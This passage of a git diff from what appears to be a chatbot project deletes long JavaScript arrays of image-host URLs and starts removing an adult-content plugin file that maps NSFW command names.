-'https://img.nickpic.host/q4hKBm.jpg',
-'https://img.nickpic.host/q4hYh8.jpg',
-'https://img.nickpic.host/q4hHYq.jpg',
-'https://img.nickpic.host/q4hVGd.jpg',
-'https://img.nickpic.host/q4hfgD.jpg',
-'https://img.nickpic.host/q4h0D5.jpg',
-'https://img.nickpic.host/q4h2PP.jpg',
-'https://img.nickpic.host/q4heaM.jpg',
-'https://img.nickpic.host/q4hknF.jpg',
-'https://img.nickpic.host/q4hJ2e.jpg',
-'https://img.nickpic.host/q4hPBX.jpg',
-'https://img.nickpic.host/q4hT6b.jpg',
-'https://img.nickpic.host/q4hWYf.jpg',
-'https://img.nickpic.host/q4hdI6.jpg',
-'https://img.nickpic.host/q4hyqp.jpg',
-'https://img.nickpic.host/q46GDY.jpg',
-'https://img.nickpic.host/q46ITA.jpg',
-'https://img.nickpic.host/q46ojG.jpg',
-'https://img.nickpic.host/q46pnz.jpg',
-'https://img.nickpic.host/q46v9c.jpg',
-'https://img.nickpic.host/q46b61.jpg',
-'https://img.nickpic.host/q46BBW.jpg',
-'https://img.nickpic.host/q463IJ.jpg',
-'https://img.nickpic.host/q46rHj.jpg',
-'https://img.nickpic.host/q46Fqn.jpg',
-'https://img.nickpic.host/q46jT2.jpg',
-'https://img.nickpic.host/q46aws.jpg',
-'https://img.nickpic.host/q465jQ.jpg',
-'https://img.nickpic.host/q46Stx.jpg',
-'https://img.nickpic.host/q46c9N.jpg',
-'https://img.nickpic.host/q46qbO.jpg',
-'https://img.nickpic.host/q46uCm.jpg',
-'https://img.nickpic.host/q46Omq.jpg',
-'https://img.nickpic.host/q46AH8.jpg',
-'https://img.nickpic.host/q46hqd.jpg',
-'https://img.nickpic.host/q466wD.jpg',
-'https://img.nickpic.host/q46UjP.jpg',
-'https://img.nickpic.host/q46CW5.jpg',
-'https://img.nickpic.host/q46XtM.jpg',
-'https://img.nickpic.host/q46tbe.jpg',
-'https://img.nickpic.host/q46ieF.jpg',
-'https://img.nickpic.host/q46RNb.jpg',
-'https://img.nickpic.host/q46MCX.jpg',
-'https://img.nickpic.host/q464mf.jpg',
-'https://img.nickpic.host/q46Du6.jpg',
-'https://img.nickpic.host/q46wzp.jpg',
-'https://img.nickpic.host/q46zWY.jpg',
-'https://img.nickpic.host/q468lA.jpg',
-'https://img.nickpic.host/q46KMG.jpg',
-'https://img.nickpic.host/q46Nrc.jpg',
-'https://img.nickpic.host/q46Yez.jpg',
-'https://img.nickpic.host/q46VCW.jpg',
-'https://img.nickpic.host/q46fN1.jpg',
-'https://img.nickpic.host/q462oj.jpg',
-'https://img.nickpic.host/q46ezn.jpg',
-'https://img.nickpic.host/q469uJ.jpg',
-'https://img.nickpic.host/q46kZs.jpg',
-'https://img.nickpic.host/q46Ll2.jpg',
-'https://img.nickpic.host/q46Tkx.jpg',
-'https://img.nickpic.host/q46PMQ.jpg',
-'https://img.nickpic.host/q46ZrN.jpg',
-'https://img.nickpic.host/q46dQO.jpg',
-'https://img.nickpic.host/q46yVm.jpg',
-'https://img.nickpic.host/q4CIo8.jpg',
-'https://img.nickpic.host/q4Cozd.jpg',
-'https://img.nickpic.host/q4CpZD.jpg',
-'https://img.nickpic.host/q4CmAq.jpg',
-'https://img.nickpic.host/q4Cx55.jpg',
-'https://img.nickpic.host/q4CBMP.jpg',
-'https://img.nickpic.host/q4CssF.jpg',
-'https://img.nickpic.host/q4CbkM.jpg',
-'https://img.nickpic.host/q4C3Qe.jpg',
-'https://img.nickpic.host/q4CFVX.jpg',
-'https://img.nickpic.host/q4Cjpb.jpg',
-'https://img.nickpic.host/q4ClAf.jpg',
-'https://img.nickpic.host/q4C576.jpg',
-'https://img.nickpic.host/q4CSdp.jpg',
-'https://img.nickpic.host/q4Cg5Y.jpg',
-'https://img.nickpic.host/q4CqRA.jpg',
-'https://img.nickpic.host/q4CuJG.jpg',
-'https://img.nickpic.host/q4CEsz.jpg',
-'https://img.nickpic.host/q4COUc.jpg',
-'https://img.nickpic.host/q4ChVW.jpg',
-'https://img.nickpic.host/q4CCp1.jpg',
-'https://img.nickpic.host/q4CQEj.jpg',
-'https://img.nickpic.host/q4CU7J.jpg',
-'https://img.nickpic.host/q4CXdn.jpg',
-'https://img.nickpic.host/q4CnSs.jpg',
-'https://img.nickpic.host/q4CtR2.jpg',
-'https://img.nickpic.host/q4CMJQ.jpg',
-'https://img.nickpic.host/q4C4UN.jpg',
-'https://img.nickpic.host/q4C13x.jpg',
-'https://img.nickpic.host/q4CDfO.jpg',
-'https://img.nickpic.host/q4Czvm.jpg',
-'https://img.nickpic.host/q4C7E8.jpg',
-'https://img.nickpic.host/q4CKdd.jpg',
-'https://img.nickpic.host/q4C88q.jpg',
-'https://img.nickpic.host/q4CHSD.jpg',
-'https://img.nickpic.host/q4CN15.jpg',
-'https://img.nickpic.host/q4CVJP.jpg',
-'https://img.nickpic.host/q4C03M.jpg',
-'https://img.nickpic.host/q4C2XF.jpg',
-'https://img.nickpic.host/q4C9fe.jpg',
-'https://img.nickpic.host/q4CkvX.jpg',
-'https://img.nickpic.host/q4CJOb.jpg',
-'https://img.nickpic.host/q4CL8f.jpg',
-'https://img.nickpic.host/q4CPy6.jpg',
-'https://img.nickpic.host/q4CWcp.jpg',
-'https://img.nickpic.host/q4CdLA.jpg',
-'https://img.nickpic.host/q4CZ1Y.jpg',
-'https://img.nickpic.host/q4QIXz.jpg',
-'https://img.nickpic.host/q4QGFG.jpg',
-'https://img.nickpic.host/q4Qm0c.jpg',
-'https://img.nickpic.host/q4QpvW.jpg',
-'https://img.nickpic.host/q4QvO1.jpg',
-'https://img.nickpic.host/q4QByJ.jpg',
-'https://img.nickpic.host/q4QxKj.jpg',
-'https://img.nickpic.host/q4Qrcn.jpg',
-'https://img.nickpic.host/q4Qs4s.jpg',
-'https://img.nickpic.host/q4Q3L2.jpg',
-'https://img.nickpic.host/q4Qjix.jpg',
-'https://img.nickpic.host/q4QaFQ.jpg',
-'https://img.nickpic.host/q4Ql0N.jpg',
-'https://img.nickpic.host/q4QSxO.jpg',
-'https://img.nickpic.host/q4Qchm.jpg',
-'https://img.nickpic.host/q4QgK8.jpg',
-'https://img.nickpic.host/q4QuGq.jpg',
-'https://img.nickpic.host/q4QAcd.jpg',
-'https://img.nickpic.host/q4QE4D.jpg',
-'https://img.nickpic.host/q4QOP5.jpg',
-'https://img.nickpic.host/q4Q6FP.jpg',
-'https://img.nickpic.host/q4QQ2F.jpg',
-'https://img.nickpic.host/q4QCiM.jpg',
-'https://img.nickpic.host/q4QihX.jpg',
-'https://img.nickpic.host/q4QXxe.jpg',
-'https://img.nickpic.host/q4QnYb.jpg',
-'https://img.nickpic.host/q4QMGf.jpg',
-'https://img.nickpic.host/q4QRg6.jpg',
-'https://img.nickpic.host/q4Q1Dp.jpg',
-'https://img.nickpic.host/q4QznG.jpg',
-'https://img.nickpic.host/q4QwaA.jpg',
-'https://img.nickpic.host/q4Q4PY.jpg',
-'https://img.nickpic.host/q4QKBc.jpg',
-'https://img.nickpic.host/q4Q72z.jpg',
-'https://img.nickpic.host/q4QYhW.jpg',
-'https://img.nickpic.host/q4QHY1.jpg',
-'https://img.nickpic.host/q4QVIj.jpg',
-'https://img.nickpic.host/q4QfgJ.jpg',
-'https://img.nickpic.host/q4Q0Dn.jpg',
-'https://img.nickpic.host/q4Q2Ts.jpg',
-'https://img.nickpic.host/q4Qea2.jpg',
-'https://img.nickpic.host/q4QknQ.jpg',
-'https://img.nickpic.host/q4QPBN.jpg',
-'https://img.nickpic.host/q4QT6O.jpg',
-'https://img.nickpic.host/q4QJ9x.jpg',
-'https://img.nickpic.host/q4QWHm.jpg',
-'https://img.nickpic.host/q4QdI8.jpg',
-'https://img.nickpic.host/q4UGDd.jpg',
-'https://img.nickpic.host/q4Qyqq.jpg',
-'https://img.nickpic.host/q4UITD.jpg',
-'https://img.nickpic.host/q4Uoj5.jpg',
-'https://img.nickpic.host/q4UpnP.jpg',
-'https://img.nickpic.host/q4UBbF.jpg',
-'https://img.nickpic.host/q4Uv9M.jpg',
-'https://img.nickpic.host/q4Ub6e.jpg',
-'https://img.nickpic.host/q4UrHX.jpg',
-'https://img.nickpic.host/q4U3mb.jpg',
-'https://img.nickpic.host/q4Uaw6.jpg',
-'https://img.nickpic.host/q4UFqf.jpg',
-'https://img.nickpic.host/q4UjWp.jpg',
-'https://img.nickpic.host/q4U5jY.jpg',
-'https://img.nickpic.host/q4UStA.jpg',
-'https://img.nickpic.host/q4Uqbz.jpg',
-'https://img.nickpic.host/q4UceG.jpg',
-'https://img.nickpic.host/q4UuCc.jpg',
-'https://img.nickpic.host/q4UAHW.jpg',
-'https://img.nickpic.host/q4UOm1.jpg',
-'https://img.nickpic.host/q4Uhuj.jpg',
-'https://img.nickpic.host/q4U6wJ.jpg',
-'https://img.nickpic.host/q4UCWn.jpg',
-'https://img.nickpic.host/q4UUls.jpg',
-'https://img.nickpic.host/q4UXt2.jpg',
-'https://img.nickpic.host/q4UieQ.jpg',
-'https://img.nickpic.host/q4Utrx.jpg',
-'https://img.nickpic.host/q4UMCN.jpg',
-'https://img.nickpic.host/q4URNO.jpg',
-'https://img.nickpic.host/q4U4om.jpg',
-'https://img.nickpic.host/q4UDu8.jpg',
-'https://img.nickpic.host/q4UzWd.jpg',
-'https://img.nickpic.host/q4Uwzq.jpg',
-'https://img.nickpic.host/q4U8lD.jpg',
-'https://img.nickpic.host/q4UKM5.jpg',
-'https://img.nickpic.host/q4UYeP.jpg',
-'https://img.nickpic.host/q4UVQF.jpg',
-'https://img.nickpic.host/q4UNrM.jpg',
-'https://img.nickpic.host/q4UfNe.jpg',
-'https://img.nickpic.host/q4U2oX.jpg',
-'https://img.nickpic.host/q4U9Ab.jpg',
-'https://img.nickpic.host/q4UkZ6.jpg',
-'https://img.nickpic.host/q4Uezf.jpg',
-'https://img.nickpic.host/q4UL5p.jpg',
-'https://img.nickpic.host/q4UTkA.jpg',
-'https://img.nickpic.host/q4UPMY.jpg',
-'https://img.nickpic.host/q4UdQz.jpg',
-'https://img.nickpic.host/q4UZsG.jpg',
-'https://img.nickpic.host/q4UyVc.jpg',
-'https://img.nickpic.host/q4XmA1.jpg',
-'https://img.nickpic.host/q4XIoW.jpg',
-'https://img.nickpic.host/q4XpZJ.jpg',
-'https://img.nickpic.host/q4Xo7j.jpg',
-'https://img.nickpic.host/q4Xx5n.jpg',
-'https://img.nickpic.host/q4Xbk2.jpg',
-'https://img.nickpic.host/q4XBRs.jpg',
-'https://img.nickpic.host/q4X3Ux.jpg',
-'https://img.nickpic.host/q4XssQ.jpg',
-'https://img.nickpic.host/q4XFVN.jpg',
-'https://img.nickpic.host/q4XlEm.jpg',
-'https://img.nickpic.host/q4XjpO.jpg',
-'https://img.nickpic.host/q4XSdq.jpg',
-'https://img.nickpic.host/q4X578.jpg',
-'https://img.nickpic.host/q4Xg5d.jpg',
-'https://img.nickpic.host/q4XqRD.jpg',
-'https://img.nickpic.host/q4XuJ5.jpg',
-'https://img.nickpic.host/q4XOUM.jpg',
-'https://img.nickpic.host/q4XEsP.jpg',
-'https://img.nickpic.host/q4XhfF.jpg',
-'https://img.nickpic.host/q4XCpe.jpg',
-'https://img.nickpic.host/q4XU8b.jpg',
-'https://img.nickpic.host/q4XQEX.jpg',
-'https://img.nickpic.host/q4XXdf.jpg',
-'https://img.nickpic.host/q4XnS6.jpg',
-'https://img.nickpic.host/q4Xt1p.jpg',
-'https://img.nickpic.host/q4X13A.jpg',
-'https://img.nickpic.host/q4XMJY.jpg',
-'https://img.nickpic.host/q4X4XG.jpg',
-'https://img.nickpic.host/q4XDfz.jpg',
-'https://img.nickpic.host/q4X7EW.jpg',
-'https://img.nickpic.host/q4Xzvc.jpg',
-'https://img.nickpic.host/q4X881.jpg',
-'https://img.nickpic.host/q4XKyj.jpg',
-'https://img.nickpic.host/q4XHSJ.jpg',
-'https://img.nickpic.host/q4XN1n.jpg',
-'https://img.nickpic.host/q4XVLs.jpg',
-'https://img.nickpic.host/q4X032.jpg',
-'https://img.nickpic.host/q4X2XQ.jpg',
-'https://img.nickpic.host/q4X90x.jpg',
-'https://img.nickpic.host/q4XkvN.jpg',
-'https://img.nickpic.host/q4XJOO.jpg',
-'https://img.nickpic.host/q4XLKm.jpg',
-'https://img.nickpic.host/q4XPy8.jpg',
-'https://img.nickpic.host/q4XWcq.jpg',
-'https://img.nickpic.host/q4XZ1d.jpg',
-'https://img.nickpic.host/q4XdLD.jpg',
-'https://img.nickpic.host/q4iGF5.jpg',
-'https://img.nickpic.host/q4iIXP.jpg',
-'https://img.nickpic.host/q4im0M.jpg',
-'https://img.nickpic.host/q4ipxF.jpg',
-'https://img.nickpic.host/q4ibGb.jpg',
-'https://img.nickpic.host/q4ixKX.jpg',
-'https://img.nickpic.host/q4ivOe.jpg',
-'https://img.nickpic.host/q4ircf.jpg',
-'https://img.nickpic.host/q4is46.jpg',
-'https://img.nickpic.host/q4iaFY.jpg',
-'https://img.nickpic.host/q4i3Pp.jpg',
-'https://img.nickpic.host/q4ijiA.jpg',
-'https://img.nickpic.host/q4il2G.jpg',
-'https://img.nickpic.host/q4iSxz.jpg',
-'https://img.nickpic.host/q4ichc.jpg',
-'https://img.nickpic.host/q4igKW.jpg',
-'https://img.nickpic.host/q4iuG1.jpg',
-'https://img.nickpic.host/q4iAgj.jpg',
-'https://img.nickpic.host/q4iOPn.jpg',
-'https://img.nickpic.host/q4iQ2Q.jpg',
-'https://img.nickpic.host/q4iE4J.jpg',
-'https://img.nickpic.host/q4i6as.jpg',
-'https://img.nickpic.host/q4iCi2.jpg',
-'https://img.nickpic.host/q4iXBx.jpg',
-'https://img.nickpic.host/q4iihN.jpg',
-'https://img.nickpic.host/q4iRg8.jpg',
-'https://img.nickpic.host/q4inYO.jpg',
-'https://img.nickpic.host/q4iMIm.jpg',
-'https://img.nickpic.host/q4iwaD.jpg',
-'https://img.nickpic.host/q4i1Dq.jpg',
-'https://img.nickpic.host/q4i4Pd.jpg',
-'https://img.nickpic.host/q4izn5.jpg',
-'https://img.nickpic.host/q4i72P.jpg',
-'https://img.nickpic.host/q4iKBM.jpg',
-'https://img.nickpic.host/q4iHYe.jpg',
-'https://img.nickpic.host/q4iY6F.jpg',
-'https://img.nickpic.host/q4ifqb.jpg',
-'https://img.nickpic.host/q4iVIX.jpg',
-'https://img.nickpic.host/q4i0Df.jpg',
-'https://img.nickpic.host/q4i2T6.jpg',
-'https://img.nickpic.host/q4iejp.jpg',
-'https://img.nickpic.host/q4iJ9A.jpg',
-'https://img.nickpic.host/q4iknY.jpg',
-'https://img.nickpic.host/q4iT6z.jpg',
-'https://img.nickpic.host/q4iWHc.jpg',
-'https://img.nickpic.host/q4iPbG.jpg',
-'https://img.nickpic.host/q4idIW.jpg',
-'https://img.nickpic.host/q4iyq1.jpg',
-'https://img.nickpic.host/q4nITJ.jpg',
-'https://img.nickpic.host/q4nGwj.jpg',
-'https://img.nickpic.host/q4nojn.jpg',
-'https://img.nickpic.host/q4npts.jpg',
-'https://img.nickpic.host/q4nv92.jpg',
-'https://img.nickpic.host/q4nbCx.jpg',
-'https://img.nickpic.host/q4nBbQ.jpg',
-'https://img.nickpic.host/q4nrHN.jpg',
-'https://img.nickpic.host/q4n3mO.jpg',
-'https://img.nickpic.host/q4nFum.jpg',
-'https://img.nickpic.host/q4njWq.jpg',
-'https://img.nickpic.host/q4naw8.jpg',
-'https://img.nickpic.host/q4n5jd.jpg',
-'https://img.nickpic.host/q4nStD.jpg',
-'https://img.nickpic.host/q4nce5.jpg',
-'https://img.nickpic.host/q4nuCM.jpg',
-'https://img.nickpic.host/q4nqbP.jpg',
-'https://img.nickpic.host/q4nANF.jpg',
-'https://img.nickpic.host/q4nOme.jpg',
-'https://img.nickpic.host/q4n6zb.jpg',
-'https://img.nickpic.host/q4nhuX.jpg',
-'https://img.nickpic.host/q4nCWf.jpg',
-'https://img.nickpic.host/q4nUl6.jpg',
-'https://img.nickpic.host/q4nXMp.jpg',
-'https://img.nickpic.host/q4ntrA.jpg',
-'https://img.nickpic.host/q4nieY.jpg',
-'https://img.nickpic.host/q4nMQG.jpg',
-'https://img.nickpic.host/q4nRNz.jpg',
-'https://img.nickpic.host/q4n4oc.jpg',
-'https://img.nickpic.host/q4nwz1.jpg',
-'https://img.nickpic.host/q4nDuW.jpg',
-'https://img.nickpic.host/q4nzZj.jpg',
-'https://img.nickpic.host/q4n8lJ.jpg']
-
-
-global.uzaki = ['https://img.nickpic.host/q1HiuD.jpg',
-'https://img.nickpic.host/q1HXmd.jpg',
-'https://img.nickpic.host/q1HQNq.jpg',
-'https://img.nickpic.host/q1HCC8.jpg',
-'https://img.nickpic.host/q1HEtN.jpg',
-'https://img.nickpic.host/q1H6rm.jpg',
-'https://img.nickpic.host/q1HOeO.jpg',
-'https://img.nickpic.host/q1HAlx.jpg',
-'https://img.nickpic.host/q1Hgw2.jpg',
-'https://img.nickpic.host/q1HqWQ.jpg',
-'https://img.nickpic.host/q1Hnz5.jpg',
-'https://img.nickpic.host/q1HtWP.jpg',
-'https://img.nickpic.host/q1HRlM.jpg',
-'https://img.nickpic.host/q1H1MF.jpg',
-'https://img.nickpic.host/q1H4ee.jpg',
-'https://img.nickpic.host/q1HwrX.jpg',
-'https://img.nickpic.host/q1H7Nf.jpg',
-'https://img.nickpic.host/q1HKo6.jpg',
-'https://img.nickpic.host/q1HzQb.jpg',
-'https://img.nickpic.host/q1HYAp.jpg',
-'https://img.nickpic.host/q1HHzY.jpg',
-'https://img.nickpic.host/q1HNZA.jpg',
-'https://img.nickpic.host/q1Hf5G.jpg',
-'https://img.nickpic.host/q1H0Mz.jpg',
-'https://img.nickpic.host/q1H2kc.jpg',
-'https://img.nickpic.host/q1HerW.jpg',
-'https://img.nickpic.host/q1HkQ1.jpg',
-'https://img.nickpic.host/q1HJVj.jpg',
-'https://img.nickpic.host/q1HPoJ.jpg',
-'https://img.nickpic.host/q1HTAn.jpg',
-'https://img.nickpic.host/q1HW7s.jpg',
-'https://img.nickpic.host/q1HZZ2.jpg',
-'https://img.nickpic.host/q1Hy5Q.jpg',
-'https://img.nickpic.host/q1NGRx.jpg',
-'https://img.nickpic.host/q1NIkN.jpg',
-'https://img.nickpic.host/q1NosO.jpg',
-'https://img.nickpic.host/q1NpUm.jpg',
-'https://img.nickpic.host/q1NvV8.jpg',
-'https://img.nickpic.host/q1NBpq.jpg',
-'https://img.nickpic.host/q1NbAd.jpg',
-'https://img.nickpic.host/q1Nr7D.jpg',
-'https://img.nickpic.host/q1Nsd5.jpg',
-'https://img.nickpic.host/q1NF5P.jpg',
-'https://img.nickpic.host/q1NaRM.jpg',
-'https://img.nickpic.host/q1NjJF.jpg',
-'https://img.nickpic.host/q1N5se.jpg',
-'https://img.nickpic.host/q1NSUX.jpg',
-'https://img.nickpic.host/q1Ncfb.jpg',
-'https://img.nickpic.host/q1Nqpf.jpg',
-'https://img.nickpic.host/q1NuE6.jpg',
-'https://img.nickpic.host/q1NA8p.jpg',
-'https://img.nickpic.host/q1NEdY.jpg',
-'https://img.nickpic.host/q1NhSA.jpg',
-'https://img.nickpic.host/q1N61G.jpg',
-'https://img.nickpic.host/q1NCJz.jpg',
-'https://img.nickpic.host/q1NU3c.jpg',
-'https://img.nickpic.host/q1NXUW.jpg',
-'https://img.nickpic.host/q1Nif1.jpg',
-'https://img.nickpic.host/q1Ntvj.jpg',
-'https://img.nickpic.host/q1NMEJ.jpg',
-'https://img.nickpic.host/q1NR8n.jpg',
-'https://img.nickpic.host/q1N1ys.jpg',
-'https://img.nickpic.host/q1NDS2.jpg',
-'https://img.nickpic.host/q1Nw1Q.jpg',
-'https://img.nickpic.host/q1NzLx.jpg',
-'https://img.nickpic.host/q1N83N.jpg',
-'https://img.nickpic.host/q1NKXO.jpg',
-'https://img.nickpic.host/q1NNv8.jpg',
-'https://img.nickpic.host/q1NY0m.jpg',
-'https://img.nickpic.host/q1NVOq.jpg',
-'https://img.nickpic.host/q1Nf8d.jpg',
-'https://img.nickpic.host/q1N0yD.jpg',
-'https://img.nickpic.host/q1N9c5.jpg',
-'https://img.nickpic.host/q1Ne1P.jpg',
-'https://img.nickpic.host/q1NkLM.jpg',
-'https://img.nickpic.host/q1NLFF.jpg',
-'https://img.nickpic.host/q1NPXe.jpg',
-'https://img.nickpic.host/q1NT0X.jpg',
-'https://img.nickpic.host/q1NZxb.jpg',
-'https://img.nickpic.host/q1NdOf.jpg',
-'https://img.nickpic.host/q1NyK6.jpg',
-'https://img.nickpic.host/q1VIGp.jpg',
-'https://img.nickpic.host/q1VmcY.jpg',
-'https://img.nickpic.host/q1Vo4A.jpg',
-'https://img.nickpic.host/q1VpPG.jpg',
-'https://img.nickpic.host/q1VxFz.jpg',
-'https://img.nickpic.host/q1VBic.jpg',
-'https://img.nickpic.host/q1Vb0W.jpg',
-'https://img.nickpic.host/q1V3hj.jpg',
-'https://img.nickpic.host/q1Vsx1.jpg',
-'https://img.nickpic.host/q1VFKJ.jpg',
-'https://img.nickpic.host/q1Vlgs.jpg',
-'https://img.nickpic.host/q1VjGn.jpg',
-'https://img.nickpic.host/q1VSPQ.jpg',
-'https://img.nickpic.host/q1V542.jpg',
-'https://img.nickpic.host/q1Vgax.jpg',
-'https://img.nickpic.host/q1VqiN.jpg',
-'https://img.nickpic.host/q1VEBm.jpg',
-'https://img.nickpic.host/q1Vu2O.jpg',
-'https://img.nickpic.host/q1VOh8.jpg',
-'https://img.nickpic.host/q1VhYq.jpg',
-'https://img.nickpic.host/q1VCGd.jpg',
-'https://img.nickpic.host/q1VQgD.jpg',
-'https://img.nickpic.host/q1VUD5.jpg',
-'https://img.nickpic.host/q1VXPP.jpg',
-'https://img.nickpic.host/q1VnaM.jpg',
-'https://img.nickpic.host/q1VtnF.jpg',
-'https://img.nickpic.host/q1VM2e.jpg',
-'https://img.nickpic.host/q1V46b.jpg',
-'https://img.nickpic.host/q1V1BX.jpg',
-'https://img.nickpic.host/q1VDYf.jpg',
-'https://img.nickpic.host/q1V7qp.jpg',
-'https://img.nickpic.host/q1VzI6.jpg',
-'https://img.nickpic.host/q1V8DY.jpg',
-'https://img.nickpic.host/q1VKTA.jpg',
-'https://img.nickpic.host/q1VHjG.jpg',
-'https://img.nickpic.host/q1VV9c.jpg',
-'https://img.nickpic.host/q1VNnz.jpg',
-'https://img.nickpic.host/q1V261.jpg',
-'https://img.nickpic.host/q1V0BW.jpg',
-'https://img.nickpic.host/q1VkIJ.jpg',
-'https://img.nickpic.host/q1V9Hj.jpg',
-'https://img.nickpic.host/q1VJqn.jpg',
-'https://img.nickpic.host/q1VLws.jpg',
-'https://img.nickpic.host/q1VPT2.jpg',
-'https://img.nickpic.host/q1VZtx.jpg',
-'https://img.nickpic.host/q1VWjQ.jpg',
-'https://img.nickpic.host/q1Vd9N.jpg',
-'https://img.nickpic.host/q1fGbO.jpg',
-'https://img.nickpic.host/q1fICm.jpg',
-'https://img.nickpic.host/q1fpmq.jpg',
-'https://img.nickpic.host/q1fmH8.jpg',
-'https://img.nickpic.host/q1fvqd.jpg',
-'https://img.nickpic.host/q1fxwD.jpg',
-'https://img.nickpic.host/q1fBW5.jpg',
-'https://img.nickpic.host/q1fstM.jpg',
-'https://img.nickpic.host/q1frjP.jpg',
-'https://img.nickpic.host/q1f3eF.jpg',
-'https://img.nickpic.host/q1fabe.jpg',
-'https://img.nickpic.host/q1fjCX.jpg',
-'https://img.nickpic.host/q1flNb.jpg',
-'https://img.nickpic.host/q1fSmf.jpg',
-'https://img.nickpic.host/q1fcu6.jpg',
-'https://img.nickpic.host/q1fgzp.jpg',
-'https://img.nickpic.host/q1fAlA.jpg',
-'https://img.nickpic.host/q1fqWY.jpg',
-'https://img.nickpic.host/q1fEMG.jpg',
-'https://img.nickpic.host/q1fOez.jpg',
-'https://img.nickpic.host/q1f6rc.jpg',
-'https://img.nickpic.host/q1fCCW.jpg',
-'https://img.nickpic.host/q1fQN1.jpg',
-'https://img.nickpic.host/q1fXoj.jpg',
-'https://img.nickpic.host/q1fiuJ.jpg',
-'https://img.nickpic.host/q1fnzn.jpg',
-'https://img.nickpic.host/q1ftZs.jpg',
-'https://img.nickpic.host/q1f1MQ.jpg',
-'https://img.nickpic.host/q1fRl2.jpg',
-'https://img.nickpic.host/q1f4kx.jpg',
-'https://img.nickpic.host/q1fwrN.jpg',
-'https://img.nickpic.host/q1fzQO.jpg']
-
-
-global.pack = [
- "https://i.imgur.com/XbW7FO2.jpg",
- "https://i.imgur.com/ciuzM98.jpg",
- "https://i.imgur.com/uHsrrrx.jpg",
- "https://i.imgur.com/PVi8YDi.jpg",
- "https://i.imgur.com/FLC3ZXE.jpg",
- "https://i.imgur.com/54m52tX.jpg",
- "https://i.imgur.com/OsxYPgQ.jpg",
- "https://i.imgur.com/vpw6Xnr.jpg",
- "https://i.imgur.com/aAyPrZx.jpg",
- "https://i.imgur.com/Gh3ORCd.jpg",
- "https://i.imgur.com/rjGhygM.jpg",
- "https://i.imgur.com/zdHVFEI.jpg",
- "https://i.imgur.com/kAplnSG.jpg",
- "https://i.imgur.com/15UiO8o.jpg",
- "https://i.imgur.com/qjjyr6G.jpg",
- "https://i.imgur.com/bQZRhBU.jpg",
- "https://i.imgur.com/vpw6Xnr.jpg",
- "https://i.imgur.com/aAyPrZx.jpg",
- "https://i.imgur.com/Gh3ORCd.jpg",
- "https://i.imgur.com/rjGhygM.jpg",
- "https://i.imgur.com/0MhmmF4.jpg",
- "https://i.imgur.com/2MX4wvq.jpg",
- "https://i.imgur.com/HYL5ggu.jpg",
- "https://i.imgur.com/7ZjOD2a.jpg",
- "https://i.imgur.com/zbEUy3m.jpg",
- "https://i.imgur.com/tZ6vlg6.jpg",
- "https://i.imgur.com/jdPns8O.jpg",
- "https://i.imgur.com/VyjBQHT.jpg",
- "https://i.imgur.com/ozAGqBD.jpg",
- "https://i.imgur.com/DsSj9S1.jpg",
- "https://i.imgur.com/KYHpjNc.jpg"]
-
-
-global.packgirl = [
- "https://i.imgur.com/mwLJaxU.jpg",
- "https://i.imgur.com/9ptmlPl.jpg",
- "https://i.imgur.com/38tVliz.jpg",
- "https://i.imgur.com/2NqCKE3.jpg",
- "https://i.imgur.com/pveviMG.jpg",
- "https://i.imgur.com/d71dnkv.jpg",
- "https://i.imgur.com/cr7Ypj1.jpg",
- "https://i.imgur.com/jAxzCj4.jpg",
- "https://i.imgur.com/xokuFLf.jpg",
- "https://i.imgur.com/Hi4zLaf.jpg",
- "https://i.imgur.com/OlaQtwW.jpg",
- "https://i.imgur.com/Dm4GLuF.jpg",
- "https://i.imgur.com/k6Y2E9b.jpg",
- "https://i.imgur.com/1rk7jdu.jpg",
- "https://i.imgur.com/TFmEVPc.jpg",
- "https://i.imgur.com/0XefLlJ.jpg",
- "https://i.imgur.com/bwa9LYZ.jpg",
- "https://i.imgur.com/WgrpTmg.jpg",
- "https://i.imgur.com/Z5f5YAw.jpg",
- "https://i.imgur.com/xEuBtPO.jpg",
- "https://i.imgur.com/NA0fHxn.jpg",
- "https://i.imgur.com/InueCKQ.jpg",
- "https://i.imgur.com/3syOcHe.jpg",
- "https://i.imgur.com/N1dgels.jpg",
- "https://i.imgur.com/IxKAJaV.jpg",
- "https://i.imgur.com/8VrxL1d.jpg",
- "https://i.imgur.com/8B4Y0bG.jpg",
- "https://i.imgur.com/wgkGOjF.jpg",
- "https://i.imgur.com/765Wi6q.jpg",
- "https://i.imgur.com/5joeWnm.jpg",
- "https://i.imgur.com/71fjmmM.jpg",
- "https://i.imgur.com/cAuKeyZ.jpg",
- "https://i.imgur.com/SDZ2Hs5.jpg",
- "https://i.imgur.com/skkEyqI.jpg",
- "https://i.imgur.com/6dXFsBW.jpg",
- "https://i.imgur.com/6CeG9ZX.jpg"]
-
-
-global.packmen = [
- "https://i.imgur.com/TK0qLAu.jpg",
- "https://i.imgur.com/q8lKT40.jpg",
- "https://i.imgur.com/OwWdL9u.jpg",
- "https://i.imgur.com/Er7WiQo.jpg",
- "https://i.imgur.com/u4y0q4P.jpg",
- "https://i.imgur.com/y8y4PPr.jpg",
- "https://i.imgur.com/qgfLlRY.jpg",
- "https://i.imgur.com/irgyUTD.jpg",
- "https://i.imgur.com/uXrqfBl.jpg",
- "https://i.imgur.com/lgXjetf.jpg",
- "https://i.imgur.com/81QLh8s.jpg",
- "https://i.imgur.com/R3AlYe1.jpg",
- "https://i.imgur.com/a2Myr3F.jpg",
- "https://i.imgur.com/Wp9cgGw.jpg",
- "https://i.imgur.com/ggKUnxt.jpg",
- "https://i.imgur.com/eCJNWBl.jpg",
- "https://i.imgur.com/6lcrBQB.jpg",
- "https://i.imgur.com/eSSbXJ1.jpg",
- "https://i.imgur.com/tNyvzyO.jpg"]
diff --git a/plugins/comandos+18-adult2.js b/plugins/comandos+18-adult2.js
deleted file mode 100644
index 5e3d9d279..000000000
--- a/plugins/comandos+18-adult2.js
+++ /dev/null
@@ -1,9226 +0,0 @@
-//CÓDIGO ELABORADO POR: https://github.com/GataNina-Li & https://github.com/DIEGO-OFC
-
-import fetch from 'node-fetch'
-import { sticker } from '../lib/sticker.js'
-const temaX = [
-['hentai','pornohentai3', 'nsfwhentai3'], ['ass', 'pornoass2', 'nsfwass2'], ['pgif', 'pornosticker', 'nsfwsticker'], ['thigh', 'pornochica', 'nsfwsgirl'], ['hass', 'pornoass3', 'nsfwass3'], ['boobs', 'pornotetas2', 'nsfwboobs2'], //5
